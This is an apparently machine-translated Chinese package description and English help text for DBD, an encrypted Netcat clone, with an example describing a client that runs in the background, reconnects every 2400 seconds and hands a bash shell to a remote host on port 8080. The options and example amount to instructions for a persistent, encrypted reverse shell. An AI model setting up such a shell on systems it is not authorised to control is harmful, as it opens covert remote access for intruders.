DBD包装说明
DBD是Netcat的克隆，设计为可移植并提供强大的加密。它运行在Unix类操作系统和微软的Win32。 DBD使用了AES-CBC-128 + HMAC-SHA1加密（由Christophe迪瓦恩），程序执行（-e选项），选择源端口，连续重联的延迟，和其他一些不错的功能。 DBD只支持TCP / IP通信。源代码和二进制文件分布在GNU通用公共许可证下。

connect (tcp): dbd [-options] host port
listen (tcp): dbd -l -p port [-options]
options:
-l listen for incoming connection
-p n choose port to listen on, or source port to connect out from
-a address choose an address to listen on or connect out from
-e prog program to execute after connect (e.g. -e cmd.exe or -e bash)
-r n infinitely respawn/reconnect, pause for n seconds between
connection attempts. -r0 can be used to re-listen after
disconnect (just like a regular daemon)
-c on|off encryption on/off. specify whether you want to use the built-in
AES-CBC-128 + HMAC-SHA1 encryption implementation (by
Christophe Devine - http://www.cr0.net:8040/) or not
default is: -c on
-k secret override default phrase to use for encryption (secret must be
shared between client and server)
-q hush, quiet, don't print anything (overrides -v)
-v be verbose
-n toggle numeric-only IP addresses (don't do DNS resolution). if
you specify -n twice, original state will be active (i.e. -n
works like a on/off switch)
-m toggle monitoring (snooping) on/off (only used with the -e
option). snooping can also be turned on by specifying -vv (-v
two times)
-P prefix add prefix (+ a hardcoded separator) to all outbound data.
this option is mostly only useful for dbd in "chat mode" (to
prefix lines you send with your nickname)
-H on|off highlight incoming data with a hardcoded (color) escape
sequence (for e.g. chatting). default is: -H off
-V print version banner and exit (include that output in your
bug report and send bug report to [email protected])
unix-like OS specific options:
-s invoke a shell, nothing else. if dbd is setuid 0, it'll invoke
a root shell
-w n "immobility timeout" in seconds for idle read/write operations
and program execution (the -e option)
-D on|off fork and run in background (daemonize). default: -D offDBD用法示例
在客户端，每一个重生2400 秒（-r 2400），作为后台进程运行（-D ON），显示详细输出（-v），并送达的bash shell（-e /斌/ bash）的 ，连接到远程主机（192.168.1.202）8080端口（8080）。
在服务器，侦听端口8080（-p8080）的连接 （-l），并显示详细输出（-v）。
